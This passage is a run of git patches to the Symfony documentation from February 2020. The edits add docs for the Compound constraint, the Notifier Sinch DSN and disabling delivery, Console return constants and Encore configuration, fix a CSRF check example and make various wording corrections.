+        }
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 337798c51da..85a40b766e9 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -83,6 +83,7 @@ Financial and other Number Constraints
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
 * :doc:`Expression </reference/constraints/Expression>`
 * :doc:`All </reference/constraints/All>`
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index b930f1084f4..68210299dc9 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -181,6 +181,16 @@ then your validator is already registered as a service and :doc:`tagged </servic
 with the necessary ``validator.constraint_validator``. This means you can
 :ref:`inject services or configuration <services-constructor-injection>` like any other service.
 
+Create a Reusable Set of Constraints
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In case you need to apply some common set of constraints in different places
+consistently across your application, you can extend the :doc:`Compound constraint</reference/constraints/Compound>`.
+
+.. versionadded:: 5.1
+
+    The ``Compound`` constraint was introduced in Symfony 5.1.
+
 Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9742b7d456725eabba38701f56067cdb0d7c33fd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Sat, 22 Feb 2020 10:38:02 +0100
Subject: [PATCH 0375/7107] Add Installation headline

---
 notifier.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index fe6dedb0070..c21effea04f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -9,6 +9,9 @@ Creating and Sending Notifications
     The Notifier component was introduced in Symfony 5.0 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
+Installation
+------------
+
 Current web applications use many different channels to send messages to
 the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these

From e6177f92275d7825c195ca1af62f3304fb5cdb51 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Wed, 19 Feb 2020 19:30:19 +0100
Subject: [PATCH 0376/7107] Update filesystem.rst

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 9a0c3579974..2b04dde4924 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -216,7 +216,7 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's ``readlink()`` function returns the target of a symbolic link. However, its behavior
+PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior
 is completely different under Windows and Unix. On Windows systems, ``readlink()``
 resolves recursively the children links of a link until a final target is found. On
 Unix-based systems ``readlink()`` only resolves the next link.

From 51068bb0c1df61e3c33bb7242011e6eabd126e47 Mon Sep 17 00:00:00 2001
From: Benj <benjamin@versateel.com>
Date: Fri, 21 Feb 2020 11:01:23 +0100
Subject: [PATCH 0377/7107] precised output for absolute_url

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4ae64b7be3e..d241d92674d 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -237,7 +237,7 @@ absolute_url
 ``path``
     **type**: ``string``
 
-Returns the absolute URL from the passed relative path. Combine it with the
+Returns the absolute URL (with scheme and host) from the passed relative path. Combine it with the
 :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs
 for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`.
 

From 36a408ecc98d167b9af10c74afa9e24da3711d57 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Fri, 21 Feb 2020 03:14:19 +0100
Subject: [PATCH 0378/7107] Update asset.rst

added alt attribute
---
 components/asset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/asset.rst b/components/asset.rst
index a2e1bf69327..b4d55821a2d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -17,7 +17,7 @@ For example:
 
     <!-- ... -->
 
-    <a href="/"><img src="/images/logo.png"></a>
+    <a href="/"><img src="/images/logo.png" alt="logo"></a>
 
 This practice is no longer recommended unless the web application is extremely
 simple. Hardcoding URLs can be a disadvantage because:

From d7d8c3390c68e12dc55ad4a988a6fc24abc5aec9 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Fri, 21 Feb 2020 03:26:12 +0100
Subject: [PATCH 0379/7107] Update templates.rst

added alt attribute
---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 0b8430b7ae9..8e08bb7f042 100644
--- a/templates.rst
+++ b/templates.rst
@@ -655,7 +655,7 @@ following code to display the user information is repeated in several places:
 
     {# ... #}
     <div class="user-profile">
-        <img src="{{ user.profileImageUrl }}"/>
+        <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
         <p>{{ user.fullName }} - {{ user.email }}</p>
     </div>
 

From 61cc01f1bf7582382da0e1b548c6cc1d7716ac6d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Sat, 22 Feb 2020 11:27:53 +0100
Subject: [PATCH 0380/7107] [Notifier] Document sinch bridge dsn

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 5181d1be12a..4a0bc0aaf85 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,6 +55,7 @@ Service   Package                        DSN
 Twilio    ``symfony/twilio-notifier``    ``twilio://SID:TOKEN@default?from=FROM``
 Nexmo     ``symfony/nexmo-notifier``     ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud  ``symfony/ovhcloud-notifier``  ``ovhcloud://KEY:SECRET@default?from=FROM``
+Sinch     ``symfony/sinch-notifier``     ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 ========  =============================  ===========================================
 
 .. versionadded:: 5.1

From c7588e8dcb1faf32b6af8189ec99fb01172113de Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Fri, 21 Feb 2020 15:32:00 +0100
Subject: [PATCH 0381/7107] Correct outdated/incorrect comment in code snippet

The given arguments are passed to the route, not to the template.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 35ee0866a99..41421d563a9 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1388,7 +1388,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 ->controller(RedirectController::class)
                  ->defaults([
                     'route' => 'doc_page',
-                    // optionally you can define some arguments passed to the template
+                    // optionally you can define some arguments passed to the route
                     'page' => 'index',
                     'version' => 'current',
                     // redirections are temporary by default (code 302) but you can make them permanent (code 301)

From 0e48e5f58b08ecd92dcbcc7e676ac480c15f3395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 11:48:35 +0100
Subject: [PATCH 0382/7107] Updated the versionadded directive

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index f0ab0e7642c..686564ec6ce 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -63,7 +63,7 @@ Sinch     ``symfony/sinch-notifier``     ``sinch://ACCOUNT_ID:AUTH_TOKEN@default
 
 .. versionadded:: 5.1
 
-    The OvhCloud integration was introduced in Symfony 5.1.
+    The OvhCloud and Sinch integrations were introduced in Symfony 5.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 7d63e43c08835fdd94036ff61502f66a10cff0d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Sat, 22 Feb 2020 11:10:39 +0100
Subject: [PATCH 0383/7107] [Notifier] Add section Disabling Delivery

---
 notifier.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index fe6dedb0070..9f19dadd235 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -553,6 +553,26 @@ and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
 also exists to modify messages send to those channels.
 
+Development & Debugging
+-----------------------
+
+Disabling Delivery
+~~~~~~~~~~~~~~~~~~
+
+While developing (or testing), you may want to disable delivery of notifications entirely.
+You can do this by forcing Notifier to use the ``NullTransport`` for all configured texter
+and chatter transports in only the ``dev`` (or respectively ``test``) environment:
+
+.. code-block:: yaml
+
+    # config/packages/dev/notifier.yaml
+    framework:
+        notifier:
+            texter_transports:
+                twilio: 'null://null'
+            chatter_transports:
+                slack: 'null://null'
+
 .. TODO
     - Using the message bus for asynchronous notification
     - Describe notifier monolog handler

From cfe726ff5e7f50f7ff9253f50ca9476909863ffe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 11:55:44 +0100
Subject: [PATCH 0384/7107] Minor tweak

---
 notifier.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 65abf20d0a1..4c5a192a320 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -556,15 +556,13 @@ and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
 also exists to modify messages send to those channels.
 
-Development & Debugging
------------------------
-
 Disabling Delivery
-~~~~~~~~~~~~~~~~~~
+------------------
 
-While developing (or testing), you may want to disable delivery of notifications entirely.
-You can do this by forcing Notifier to use the ``NullTransport`` for all configured texter
-and chatter transports in only the ``dev`` (or respectively ``test``) environment:
+While developing (or testing), you may want to disable delivery of notifications
+entirely. You can do this by forcing Notifier to use the ``NullTransport`` for
+all configured texter and chatter transports only in the ``dev`` (and/or
+``test``) environment:
 
 .. code-block:: yaml
 

From ee481e96e9af4078c952cdfa1ea387a7992dde18 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 22 Feb 2020 11:56:16 +0100
Subject: [PATCH 0385/7107] Fixed CSRF check in controller

---
 controller/csrf_token_validation.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/controller/csrf_token_validation.rst b/controller/csrf_token_validation.rst
index 8775362a63d..3bc49401b15 100644
--- a/controller/csrf_token_validation.rst
+++ b/controller/csrf_token_validation.rst
@@ -9,9 +9,11 @@ want to use the Symfony Form component. If, for example, you are implementing
 a DELETE action, you can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\Controller::isCsrfTokenValid`
 method to check the validity of a CSRF token::
 
-    public function deleteAction()
+    use Symfony\Component\HttpFoundation\Request;
+
+    public function deleteAction(Request $request)
     {
-        if ($this->isCsrfTokenValid('token_id', $submittedToken)) {
+        if ($this->isCsrfTokenValid('token_id', $request->request->get('token_param'))) {
             // ... do something, like deleting an object
         }
     }

From 60f3c8a5ef4d675c726f62f9002b6f564f24e8b1 Mon Sep 17 00:00:00 2001
From: Denis Brumann <denis.brumann@sensiolabs.de>
Date: Sat, 22 Feb 2020 11:13:50 +0100
Subject: [PATCH 0386/7107] Adds exception template variable available in
 custom error pages

---
 components/error_handler.rst |  2 ++
 controller/error_pages.rst   | 11 +++++++++++
 2 files changed, 13 insertions(+)

diff --git a/components/error_handler.rst b/components/error_handler.rst
index fe5afd0af1b..ef4fded3cee 100644
--- a/components/error_handler.rst
+++ b/components/error_handler.rst
@@ -43,6 +43,8 @@ enable each of them separately.
     You should never enable the debug tools, except for the error handler, in a
     production environment as they might disclose sensitive information to the user.
 
+.. _turning-php-errors-into-exceptions:
+
 Turning PHP Errors into Exceptions
 ----------------------------------
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f713b909035..3f9f6550e84 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -118,6 +118,17 @@ store the HTTP status code and message respectively.
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
+Additionally you have access to the Exception with ``exception``, which for example
+allows you to output the stack trace using ``{{ exception.traceAsString }}`` or
+access any other method on the object. You should be careful with this though,
+as this is very likely to expose sensitive data.
+
+.. tip::
+
+    PHP errors are turned into exceptions as well by default, so you can also access these
+    error details using ``exception``. For more on this see
+    :ref:`Turning PHP Errors into Exceptions <turning-php-errors-into-exceptions>`
+
 Security & 404 Pages
 --------------------
 

From e917a18a60c43b7d42cd3f6d8fae8ea6c4f1d5f3 Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Fri, 21 Feb 2020 22:36:35 +0100
Subject: [PATCH 0387/7107] Add XML schema location for container configuration

At first I assumed this was omitted to keep the code snippet more concise and easier to comprehend. But then again, the `xsi` namespace already in place would be redundant.

If the intention was indeed to keep things more simple, I would suggest removing the `xsi` namespace entirely.
---
 routing.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 41421d563a9..b3a558699f5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1949,7 +1949,9 @@ generate URLs. This context can be configured globally for all commands:
         <!-- config/services.xml -->
         <?xml version="1.0" encoding="UTF-8"?>
         <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <parameters>
                 <parameter key="router.request_context.host">example.org</parameter>
@@ -2062,7 +2064,9 @@ method) or globally with these configuration parameters:
         <!-- config/services.xml -->
         <?xml version="1.0" encoding="UTF-8"?>
         <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <parameters>
                 <parameter key="router.request_context.scheme">https</parameter>

From 10e97c06a9be06fa123ecabb972657eb7895f381 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 12:39:12 +0100
Subject: [PATCH 0388/7107] [String] Documented the new argument of truncate()

---
 components/string.rst | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 68fde82de13..1f2dbad3d3a 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -348,9 +348,20 @@ Methods to Join, Split, Truncate and Reverse
     u('Symfony is great')->slice(-5);    // 'great'
 
     // reduces the string to the length given as argument (if it's longer)
-    u('Lorem Ipsum')->truncate(80);     // 'Lorem Ipsum'
-    u('Lorem Ipsum')->truncate(3);      // 'Lor'
-    u('Lorem Ipsum')->truncate(8, '…'); // 'Lorem I…'
+    u('Lorem Ipsum')->truncate(3);             // 'Lor'
+    u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
+    // the second argument is the character(s) added when a string is cut
+    // (the total length includes the length of this character(s))
+    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    // if the third argument is false, the last word before the cut is kept
+    // even if that generates a string longer than the desired length
+    u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
+
+.. versionadded:: 5.1
+
+    The third argument of ``truncate()`` was introduced in Symfony 5.1.
+
+::
 
     // breaks the string into lines of the given length
     u('Lorem Ipsum')->wordwrap(4);             // 'Lorem\nIpsum'

From 38ac257d15a91460ea24ec30bf00315bee792379 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 20:15:18 +0100
Subject: [PATCH 0389/7107] [Console] Documented the Command::SUCCESS and
 Command::FAILURE constants

---
 console.rst                | 26 ++++++++++++++++++++------
 console/lockable_trait.rst |  6 +++++-
 2 files changed, 25 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 8b7b38b0d46..af4523a0d7d 100644
--- a/console.rst
+++ b/console.rst
@@ -45,12 +45,26 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ...
+            // ... put here the code to run in your command
+
+            // this method must return an integer number with the "exit status code"
+            // of the command. You can also use these constants to make code more readable
+
+            // return this if there was no problem running the command
+            // (it's equivalent to returning int(0))
+            return Command::SUCCESS;
 
-            return 0;
+            // or return this if some error happened during the execution
+            // (it's equivalent to returning int(1))
+            // return Command::FAILURE;
         }
     }
 
+.. versionadded:: 5.1
+
+    The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
+    in Symfony 5.1.
+
 Configuring the Command
 -----------------------
 
@@ -149,7 +163,7 @@ the console::
         $output->write('You are about to ');
         $output->write('create a user.');
 
-        return 0;
+        return Command::SUCCESS;
     }
 
 Now, try executing the command:
@@ -200,7 +214,7 @@ which returns an instance of
             $section1->clear(2);
             // Output is now completely empty!
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 
@@ -242,7 +256,7 @@ Use input options or arguments to pass information to the command::
         // retrieve the argument value using getArgument()
         $output->writeln('Username: '.$input->getArgument('username'));
 
-        return 0;
+        return Command::SUCCESS;
     }
 
 Now, you can pass the username to the command:
@@ -293,7 +307,7 @@ as a service, you can use normal dependency injection. Imagine you have a
 
             $output->writeln('User successfully generated!');
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index eaecdcee893..1b810c85f15 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -27,7 +27,7 @@ that adds two convenient methods to lock and release commands::
             if (!$this->lock()) {
                 $output->writeln('The command is already running in another process.');
 
-                return 0;
+                return Command::SUCCESS;
             }
 
             // If you prefer to wait until the lock is released, use this:
@@ -41,4 +41,8 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
+.. versionadded:: 5.1
+
+    The ``Command::SUCCESS`` constant was introduced in Symfony 5.1.
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)

From c37b446426dc7d3391383529270a9ea750325155 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Sat, 15 Feb 2020 01:32:42 +0100
Subject: [PATCH 0390/7107] Update installation.rst

---
 frontend/encore/installation.rst | 40 ++++++++++++++++++++++++++++----
 1 file changed, 36 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index fb48dba00d1..a32c6318185 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -55,6 +55,13 @@ is the main config file for both Webpack and Webpack Encore:
 .. code-block:: javascript
 
     var Encore = require('@symfony/webpack-encore');
+    
+    // Manually configure the runtime environment if not already configured yet by the "encore" command.
+    // It's useful when you use tools that rely on webpack.config.js file.
+    
+    if (!Encore.isRuntimeEnvironmentConfigured()) {
+        Encore.configureRuntimeEnvironment(process.env.NODE_ENV || 'dev');
+    }
 
     Encore
         // directory where compiled assets will be stored
@@ -76,24 +83,49 @@ is the main config file for both Webpack and Webpack Encore:
         .addEntry('app', './assets/js/app.js')
         //.addEntry('page1', './assets/js/page1.js')
         //.addEntry('page2', './assets/js/page2.js')
+        
+        // When enabled, Webpack "splits" your files into smaller pieces for greater optimization.
+        .splitEntryChunks()
 
         // will require an extra script tag for runtime.js
         // but, you probably want this, unless you're building a single-page app
         .enableSingleRuntimeChunk()
 
+        /*
+         * FEATURE CONFIG
+         *
+         * Enable & configure other features below. For a full
+         * list of features, see:
+         * https://symfony.com/doc/current/frontend.html#adding-more-features
+         */
         .cleanupOutputBeforeBuild()
+        .enableBuildNotifications()
         .enableSourceMaps(!Encore.isProduction())
         // enables hashed filenames (e.g. app.abc123.css)
         .enableVersioning(Encore.isProduction())
+        
+        // enables @babel/preset-env polyfills
+        .configureBabelPresetEnv((config) => {
+            config.useBuiltIns = 'usage';
+            config.corejs = 3;
+        })
+        
+        // enables Sass/SCSS support
+        //.enableSassLoader()
 
         // uncomment if you use TypeScript
         //.enableTypeScriptLoader()
-
-        // uncomment if you use Sass/SCSS files
-        //.enableSassLoader()
+        
+        // uncomment to get integrity="..." attributes on your script & link tags
+        // requires WebpackEncoreBundle 1.4 or higher
+        //.enableIntegrityHashes(Encore.isProduction())
 
         // uncomment if you're having problems with a jQuery plugin
         //.autoProvidejQuery()
+        
+        // uncomment if you use API Platform Admin (composer require api-admin)
+        //.enableReactPreset()
+        //.addEntry('admin', './assets/js/admin.js')
     ;
 
     module.exports = Encore.getWebpackConfig();
@@ -107,7 +139,7 @@ import some CSS:
 
     require('../css/app.css');
 
-    console.log('Hello Webpack Encore');
+    console.log('Hello Webpack Encore! Edit me in assets/js/app.js');
 
 And the new ``assets/css/app.css`` file:
 

From ec9e09303c3ac78194942f0744f92ae9253faac8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 12:54:37 +0100
Subject: [PATCH 0391/7107] Minor tweak

---
 frontend/encore/installation.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index a32c6318185..61dadf62f66 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -55,10 +55,9 @@ is the main config file for both Webpack and Webpack Encore:
 .. code-block:: javascript
 
     var Encore = require('@symfony/webpack-encore');
-    
+
     // Manually configure the runtime environment if not already configured yet by the "encore" command.
     // It's useful when you use tools that rely on webpack.config.js file.
-    
     if (!Encore.isRuntimeEnvironmentConfigured()) {
         Encore.configureRuntimeEnvironment(process.env.NODE_ENV || 'dev');
     }
@@ -83,7 +82,7 @@ is the main config file for both Webpack and Webpack Encore:
         .addEntry('app', './assets/js/app.js')
         //.addEntry('page1', './assets/js/page1.js')
         //.addEntry('page2', './assets/js/page2.js')
-        
+
         // When enabled, Webpack "splits" your files into smaller pieces for greater optimization.
         .splitEntryChunks()
 
@@ -103,26 +102,26 @@ is the main config file for both Webpack and Webpack Encore:
         .enableSourceMaps(!Encore.isProduction())
         // enables hashed filenames (e.g. app.abc123.css)
         .enableVersioning(Encore.isProduction())
-        
+
         // enables @babel/preset-env polyfills
         .configureBabelPresetEnv((config) => {
             config.useBuiltIns = 'usage';
             config.corejs = 3;
         })
-        
+
         // enables Sass/SCSS support
         //.enableSassLoader()
 
         // uncomment if you use TypeScript
         //.enableTypeScriptLoader()
-        
+
         // uncomment to get integrity="..." attributes on your script & link tags
         // requires WebpackEncoreBundle 1.4 or higher
         //.enableIntegrityHashes(Encore.isProduction())
 
         // uncomment if you're having problems with a jQuery plugin
         //.autoProvidejQuery()
-        
+
         // uncomment if you use API Platform Admin (composer require api-admin)
         //.enableReactPreset()
         //.addEntry('admin', './assets/js/admin.js')

From cf5c8ccd3c4f0025c03187078c7141cb958b326f Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Sat, 22 Feb 2020 14:45:39 +0100
Subject: [PATCH 0392/7107] Misc. wording/grammar changes

---
 configuration.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index caa2a25cb61..acd1c2c3f56 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -25,7 +25,7 @@ the ``services.yaml`` file configures the services of the
 :doc:`service container </service_container>`; the ``bundles.php`` file enables/
 disables packages in your application.
 
-You'll be working most in the ``config/packages/`` directory. This directory
+You'll be working mostly in the ``config/packages/`` directory. This directory
 stores the configuration of every package installed in your application.
 Packages (also called "bundles" in Symfony and "plugins/modules" in other
 projects) add ready-to-use features to your projects.
@@ -55,7 +55,7 @@ to change these files after package installation
 Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
-Unlike other frameworks, Symfony doesn't impose you a specific format to
+Unlike other frameworks, Symfony doesn't impose a specific format on you to
 configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
@@ -70,8 +70,8 @@ readable. These are the main advantages and disadvantages of each format:
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
 * **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
-  but sometimes it generates too verbose configuration. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows to create dynamic configuration, but the
+  but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
+* **PHP**: very powerful and it allows you to create dynamic configuration, but the
   resulting configuration is less readable than the other formats.
 
 Importing Configuration Files
@@ -368,7 +368,7 @@ Take the ``framework`` package, installed by default, as an example:
   ``config/packages/framework.yaml``.
 
 In reality, each environment differs only somewhat from others. This means that
-all environments share a large base of common configurations, which is put in
+all environments share a large base of common configuration, which is put in
 files directly in the ``config/packages/`` directory.
 
 .. seealso::
@@ -425,7 +425,7 @@ going to production:
 
 .. tip::
 
-    It's common for environments to be similar between each other, so you can
+    It's common for environments to be similar to each other, so you can
     use `symbolic links`_ between ``config/packages/<environment-name>/``
     directories to reuse the same configuration.
 
@@ -732,10 +732,10 @@ doesn't work for parameters:
         $container->getDefinition(MessageGenerator::class)
             ->setArgument('$contentsDir', '%app.contents_dir%');
 
-If you inject the same parameters over and over again, use instead the
-``services._defaults.bind`` option. The arguments defined in that option are
+If you inject the same parameters over and over again, use the
+``services._defaults.bind`` option instead. The arguments defined in that option are
 injected automatically whenever a service constructor or controller action
-define an argument with that exact name. For example, to inject the value of the
+defines an argument with that exact name. For example, to inject the value of the
 :ref:`kernel.project_dir parameter <configuration-kernel-project-directory>`
 whenever a service/controller defines a ``$projectDir`` argument, use this:
 
@@ -794,7 +794,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
     Read the article about :ref:`binding arguments by name and/or type <services-binding>`
     to learn more about this powerful feature.
 
-Finally, if some service needs to access to lots of parameters, instead of
+Finally, if some service needs access to lots of parameters, instead of
 injecting each of them individually, you can inject all the application
 parameters at once by type-hinting any of its constructor arguments with the
 :class:`Symfony\\Component\\DependencyInjection\\ParameterBag\\ContainerBagInterface`::
@@ -826,7 +826,7 @@ parameters at once by type-hinting any of its constructor arguments with the
 Keep Going!
 -----------
 
-Congratulations! You've tackled the basics in Symfony. Next, learn about *each*
+Congratulations! You've tackled the basics of Symfony. Next, learn about *each*
 part of Symfony individually by following the guides. Check out:
 
 * :doc:`/forms`

From 2c10047edf98019ab20c20532489af5c9da06ead Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Wed, 19 Feb 2020 00:11:59 +0100
Subject: [PATCH 0393/7107] [Tests] added a note about installing PHPUnit
 dependencies

---
 testing.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 0c33be7e331..d028fc2e713 100644
--- a/testing.rst
+++ b/testing.rst
@@ -22,15 +22,20 @@ wraps the original PHPUnit binary to provide additional features:
 
     $ composer require --dev symfony/phpunit-bridge
 
-Each test - whether it's a unit test or a functional test - is a PHP class
-that should live in the ``tests/`` directory of your application. If you follow
-this rule, then you can run all of your application's tests with the following
-command:
+After the library downloads, try executing PHPUnit by running:
 
 .. code-block:: terminal
 
     $ ./vendor/bin/simple-phpunit
 
+The first time you run this, it will download PHPUnit itself and make its
+classes available in your app.
+
+Each test - whether it's a unit test or a functional test - is a PHP class
+that should live in the ``tests/`` directory of your application. If you follow
+this rule, then you can run all of your application's tests with the same
+command as before.
+
 PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
 Symfony application.
 

From f9af23811821c43200c9eaaaac471d2a9672b327 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 22 Feb 2020 11:54:15 +0100
Subject: [PATCH 0394/7107] Minor fixes in configuration blocks

---
 bundles/configuration.rst                 |   4 +-
 bundles/prepend_extension.rst             |   7 +-
 cache.rst                                 |  42 ++-
 configuration.rst                         |  10 +-
 configuration/environments.rst            |   2 +-
 configuration/external_parameters.rst     |  59 ++--
 configuration/using_parameters_in_dic.rst |   6 +-
 console/commands_as_services.rst          |   9 +-
 console/input.rst                         |  21 +-
 controller.rst                            |   9 +-
 controller/argument_value_resolver.rst    |  22 +-
 doctrine.rst                              |  12 +-
 email.rst                                 |   3 +-
 event_dispatcher.rst                      |   3 +-
 logging.rst                               |  37 ++-
 routing.rst                               |  12 +-
 service_container.rst                     | 338 ++++++++++++++++------
 translation.rst                           |  15 +-
 workflow.rst                              | 144 +++++++--
 19 files changed, 530 insertions(+), 225 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 2521aa53274..0e8220eadce 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -429,7 +429,9 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
